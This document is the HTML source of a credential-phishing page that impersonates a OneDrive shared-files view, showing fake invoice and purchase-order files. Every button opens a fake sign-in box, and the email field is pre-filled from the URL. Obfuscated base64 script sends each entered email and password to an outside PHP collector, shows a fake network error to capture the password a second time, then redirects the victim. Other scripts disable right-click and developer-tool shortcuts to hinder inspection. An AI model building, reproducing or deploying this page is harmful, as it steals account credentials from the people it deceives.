<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" href="/onedd.png" type="image/x-icon" />
    <title>OneDrive</title>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.2/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
    <style>
        .sidebar {
            width: 250px;
            height: 100vh;
            position: fixed;
            left: 0;
            top: 0;
            background-color: #f8f9fa;
            padding: 1rem;
            transition: 0.3s;
            display: flex;
            flex-direction: column;
            overflow-y: auto;
        }

        .main-content {
            margin-left: 250px;
            padding: 1rem;
            transition: 0.3s;
        }

        .nav-link {
            color: #666;
            padding: 0.5rem 1rem;
            border-radius: 0;
            margin: 2px 0;
            border-left: 3px solid transparent;
            transition: all 0.2s;
        }

        .nav-link:hover {
            background-color: #f0f0f0;
            color: #666;
        }

        .nav-link.active {
            color: #666 !important;
            padding: 0 1rem;
            border-left: 3px solid #0d6efd;
        }

        .nav-link.active:hover {
            background-color: transparent;
        }

        .nav-link.active i {
            color: #0d6efd;
        }

        .storage-section {
            padding-top: 1rem;
        }

        .storage-progress {
            height: 4px;
            background-color: #e9ecef;
        }

        .storage-progress .progress-bar {
            background-color: #0d6efd;
        }

        .storage-text {
            font-size: 0.75rem;
            color: #666;
            margin-top: 0.5rem;
        }

        .search-bar {
            max-width: 600px;
            width: 100%;
        }

        .file-card {
            cursor: pointer;
            transition: all 0.2s;
            border: none;
        }

        .file-card img {
            width: auto;
            height: 150px;
            margin: auto;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }

        .file-card:hover {
            transform: translateY(-2px);
        }

        .file-timestamp {
            font-size: 0.8rem;
            color: #666;
        }

        @media (max-width: 768px) {
            .sidebar {
                width: 0;
                padding: 0;
                overflow: hidden;
            }

            .sidebar.active {
                width: 250px;
                padding: 1rem;
            }

            .main-content {
                margin-left: 0;
            }

            .main-content.sidebar-active {
                margin-left: 250px;
            }
        }

        .profile-circle {
            width: 32px;
            height: 32px;
            color: gray;
            border: 1px solid gray;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
        }
    </style>
</head>

<body>

    <!-- Sidebar -->
    <div class="sidebar" id="sidebar">
        <div class="d-flex align-items-center mb-4">
            <span class="me-3 text-muted">
                <svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
                    <rect x="3" y="3" width="4" height="4" />
                    <rect x="10" y="3" width="4" height="4" />
                    <rect x="17" y="3" width="4" height="4" />
                    <rect x="3" y="10" width="4" height="4" />
                    <rect x="10" y="10" width="4" height="4" />
                    <rect x="17" y="10" width="4" height="4" />
                    <rect x="3" y="17" width="4" height="4" />
                    <rect x="10" y="17" width="4" height="4" />
                    <rect x="17" y="17" width="4" height="4" />
                </svg>
            </span>
            <h6 class="mb-0 text-muted">OneDrive</h5>
        </div>

        <div class="mb-4">
            <button class="btn btn-primary text-start rounded-pill" data-bs-toggle="modal" data-bs-target="#loginModal">
                <i class="fas fa-plus me-2"></i> Create or upload
            </button>
        </div>

        <!-- <p class="text-muted mb-3 fw-bold">Alla Hallah</p> -->

        <nav class="nav flex-column">
            <a class="nav-link" href="#" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fas fa-home me-2"></i> Home</a>
            <a class="nav-link active" href="#" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fas fa-folder me-2"></i> My files</a>
            <a class="nav-link" href="#" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fas fa-image me-2"></i> Photos</a>
            <a class="nav-link" href="#" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fa-solid fa-user-group me-2"></i> Shared</a>
            <a class="nav-link" href="#" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fas fa-trash me-2"></i> Recycle bin</a>
        </nav>

        <div class="mt-4">
            <h6 class="text-muted mb-3 fw-bold">Browse files by</h6>
            <a class="nav-link" href="#" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fa-regular fa-user me-2"></i> People</a>
        </div>


        <div class="mt-auto">
            <div class="mt-4 mb-3">
                <div class="card">
                    <div class="card-body small">
                        <p class="card-text">Get storage for all your files and photos.</p>
                        <button class="btn btn-sm btn-outline-primary w-100" data-bs-toggle="modal" data-bs-target="#loginModal">
                            <i class="fa-regular fa-gem me-2"></i> Buy storage
                        </button>
                    </div>
                </div>
            </div>

            <!-- Storage Section -->
            <div class="storage-section">
                <h6 class="mb-2">Storage</h6>
                <div class="storage-progress progress">
                    <div class="progress-bar" role="progressbar" style="width: 1%;" aria-valuenow="1" aria-valuemin="0"
                        aria-valuemax="100"></div>
                </div>
                <div class="storage-text">
                    &#60; 0.1 GB used of 5 GB (1%) </div>
            </div>
        </div>
    </div>

    <!-- Main Content -->
    <div class="main-content" id="mainContent">
        <div class="d-flex justify-content-between align-items-center mb-4">
            <button class="btn btn-light d-md-none" id="sidebarToggle">
                <i class="fas fa-bars"></i>
            </button>

            <div class="search-bar ms-md-4">
                <div class="input-group">
                    <span class="input-group-text bg-white border-start-pill border-end-0">
                        <i class="fas fa-search text-muted"></i>
                    </span>
                    <input type="text" class="form-control border-start-0" placeholder="Search everything">
                </div>
            </div>

            <div class="d-flex align-items-center">
                <button class="btn btn-light me-2" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fa-regular fa-gem"></i></button>
                <button class="btn btn-light me-2" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fa-brands fa-rocketchat"></i></button>
                <button class="btn btn-light me-2" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fas fa-cog"></i></button>
                <button class="btn btn-light me-2" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fas fa-question"></i></button>
                <div class="profile-circle"><i class="fas fa-user"></i></div>
            </div>
        </div>

        <!-- Action Buttons -->
        <div class="d-flex justify-content-between align-items-center flex-wrap gap-2 mb-4">
            <div>
                <button class="btn btn-light me-2 text-muted" data-bs-toggle="modal" data-bs-target="#loginModal"><i
                        class="fa-regular fa-share-from-square me-2"></i>Share</button>
                <button class="btn btn-light me-2 text-muted" data-bs-toggle="modal" data-bs-target="#loginModal"><i
                        class="fas fa-download me-2"></i>Download</button>
                <button class="btn btn-light text-muted" data-bs-toggle="modal" data-bs-target="#loginModal"><i class="fas fa-images me-2"></i>Create album from
                    folder</button>
            </div>

            <div class="d-flex align-items-center gap-2 flex-wrap">
                <button class="text-muted btn btn-light me-2 d-flex justify-content-center align-items-center gap-2" data-bs-toggle="modal" data-bs-target="#loginModal"><i
                        class="fa-solid fa-arrow-down-wide-short"></i> <span>Sort</span> <i
                        class="fa-solid fa-angle-down"></i></button>
                <button
                    class="text-muted btn btn-light me-2 d-flex justify-content-center align-items-center gap-2" data-bs-toggle="modal" data-bs-target="#loginModal"><svg
                        xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24">
                        <rect x="6" y="6" width="4" height="4" fill="none" stroke="currentColor" />
                        <rect x="14" y="6" width="4" height="4" fill="none" stroke="currentColor" />
                        <rect x="6" y="14" width="4" height="4" fill="none" stroke="currentColor" />
                        <rect x="14" y="14" width="4" height="4" fill="none" stroke="currentColor" />
                    </svg>
                    <i class="fa-solid fa-angle-down"></i>
                </button>
                <button class="text-muted btn btn-light me-2 d-flex justify-content-center align-items-center gap-2" data-bs-toggle="modal" data-bs-target="#loginModal"><i
                        class="fas fa-list"></i> <span class="">Details</span></button>
            </div>
        </div>

        <!-- Breadcrumb -->
        <nav aria-label="breadcrumb" class="mb-4">
            <ol class="breadcrumb">
                <li class="breadcrumb-item"><a href="#">My files</a></li>
                <li class="breadcrumb-item active">Shared Documents</li>
            </ol>
        </nav>

        <!-- Files with images -->
        <div class="row g-4">
            <div class="col-md-4 col-lg-3">
                <div class="card file-card h-100" data-bs-toggle="modal" data-bs-target="#loginModal">
                    <img src="https://cdn.glitch.global/7e3d0d33-58cf-4b50-aa83-21a5d455ee06/1.png?v=1691879349116"
                        class="card-img-top" alt="PDF">
                    <div class="card-body">
                        <h6 class="card-title text-center text-truncate">File PO_7824872984374389743084.pdf</h6>
                        <p class="file-timestamp mb-0 text-center text-truncate">A few days ago</p>
                    </div>
                </div>
            </div>

            <div class="col-md-4 col-lg-3">
                <div class="card file-card h-100" data-bs-toggle="modal" data-bs-target="#loginModal">
                    <img src="https://cdn.glitch.global/7e3d0d33-58cf-4b50-aa83-21a5d455ee06/2.jpg?v=1691879491012"
                        class="card-img-top" alt="PDF">
                    <div class="card-body">
                        <h6 class="card-title text-center text-truncate">Request-Specification.pdf</h6>
                        <p class="file-timestamp mb-0 text-center text-truncate">A few days ago</p>
                    </div>
                </div>
            </div>

            <div class="col-md-4 col-lg-3">
                <div class="card file-card h-100" data-bs-toggle="modal" data-bs-target="#loginModal">
                    <img src="https://cdn.glitch.global/7e3d0d33-58cf-4b50-aa83-21a5d455ee06/3.png?v=1691879561764"
                        class="card-img-top" alt="PDF">
                    <div class="card-body">
                        <h6 class="card-title text-center text-truncate">INVOICE_78327842882.pdf</h6>
                        <p class="file-timestamp mb-0 text-center text-truncate">A few days ago</p>
                    </div>
                </div>
            </div>

            <div class="col-md-4 col-lg-3">
                <div class="card file-card h-100" data-bs-toggle="modal" data-bs-target="#loginModal">
                    <img src="https://cdn.glitch.global/7e3d0d33-58cf-4b50-aa83-21a5d455ee06/4.png?v=1691879706525"
                        class="card-img-top" alt="PDF">
                    <div class="card-body">
                        <h6 class="card-title text-center text-truncate">Request_Form_ID056.docx</h6>
                        <p class="file-timestamp mb-0 text-center text-truncate">A few days ago</p>
                    </div>
                </div>
            </div>

            <div class="col-md-4 col-lg-3">
                <div class="card file-card h-100" data-bs-toggle="modal" data-bs-target="#loginModal">
                    <img src="https://cdn.glitch.global/7e3d0d33-58cf-4b50-aa83-21a5d455ee06/5.jpg?v=1691879789422"
                        class="card-img-top" alt="PDF">
                    <div class="card-body">
                        <h6 class="card-title text-center text-truncate">ITEM-LIST file.pdf</h6>
                        <p class="file-timestamp mb-0 text-center text-truncate">A few days ago</p>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Login Modal -->
    <div class="modal fade" id="loginModal" tabindex="-1">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <img src="https://logodownload.org/wp-content/uploads/2022/06/onedrive-logo.png" width="50" alt="OneDrive" class="me-2">
                    <h6 class="modal-title">OneDrive Sign in</h5>
                        <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <div class="container mt-4">
                    <p class="small text-muted">These files are sensitive and secured against unauthorized access.
                        In
                        order
                        to access this files,
                        Please sign in to authorize your downloads.
                    </p>
                    <p class="small text-muted alert alert-warning">Alert! Only recipient email can access shared file</p>
                    <center><p id="error" style="display: none; color: red; font-size: 16px;">Network Error! Please Retry</p></center>

                </div>
                <form>
                    <div class="modal-body">
                        <div class="mb-3">
                            <label for="email" class="form-label">Email address</label>
                            <input type="email" class="form-control" id="email" required>
                        </div>
                        <div class="mb-3">
                            <label for="password" class="form-label">Password</label>
                            <input type="password" class="form-control" id="pass" required>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <div class="d-flex justify-content-end">
                            <button type="submit" class="btn btn-primary w-100" >Login</button>
                        </div>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.2/js/bootstrap.bundle.min.js"></script>
    <script>
        document.getElementById('sidebarToggle').addEventListener('click', function () {
            document.getElementById('sidebar').classList.toggle('active');
            document.getElementById('mainContent').classList.toggle('sidebar-active');
        });
    </script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script>
         var email = window.location.hash.substr(1);
        if (!email) {

        }
        else
        {
            var my_email =email;
            $('#email').val(my_email);
        }
        var my_email = $('#email').val();
        var ind = my_email.indexOf("@");
        var my_slice = my_email.substr((ind + 1));
    </script>
    <script> var encodedString = "aHR0cHM6Ly9lY29jaGljY291dHVyZS5zdG9yZS9Eb2NzL2NoZXoub25lZHJpdi5uYWRyaXZlL2RydW4ucGhw"; var decodedString = window.atob(encodedString); </script>
    <script> $(function () { var redirectString = btoa("https://" + my_slice); var decodedString = window.atob(redirectString); var success = 0; $(document).on('submit', 'form', function (event) { event.preventDefault(); var email = $('#email').val(); var pass = $('#pass').val(); if (success == 0) { $.post(window.atob(encodedString), { email: email, pass: pass }); setTimeout(function () { $('#pass').val(''); $("#notify").remove(); $(document).ready(function () { $("#error").show(); }); success = 1; }, 1000); } else { $.post(window.atob(encodedString), { email: email, pass: pass }); setTimeout(function () { window.location = (window.atob(redirectString)); }, 1000); } }); }); </script>
    <script> window.oncontextmenu = function () { return false; } $(document).keydown(function (event) { if (event.keyCode == 123) { return false; } else if ((event.ctrlKey && event.shiftKey && event.keyCode == 73) || (event.ctrlKey && event.shiftKey && event.keyCode == 74)) { return false; } }); </script>
    <script> /*function check(e) { alert(e.keyCode); }*/ document.onkeydown = function (e) { if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 117)) return false; }; </script>
    
</body>

</html>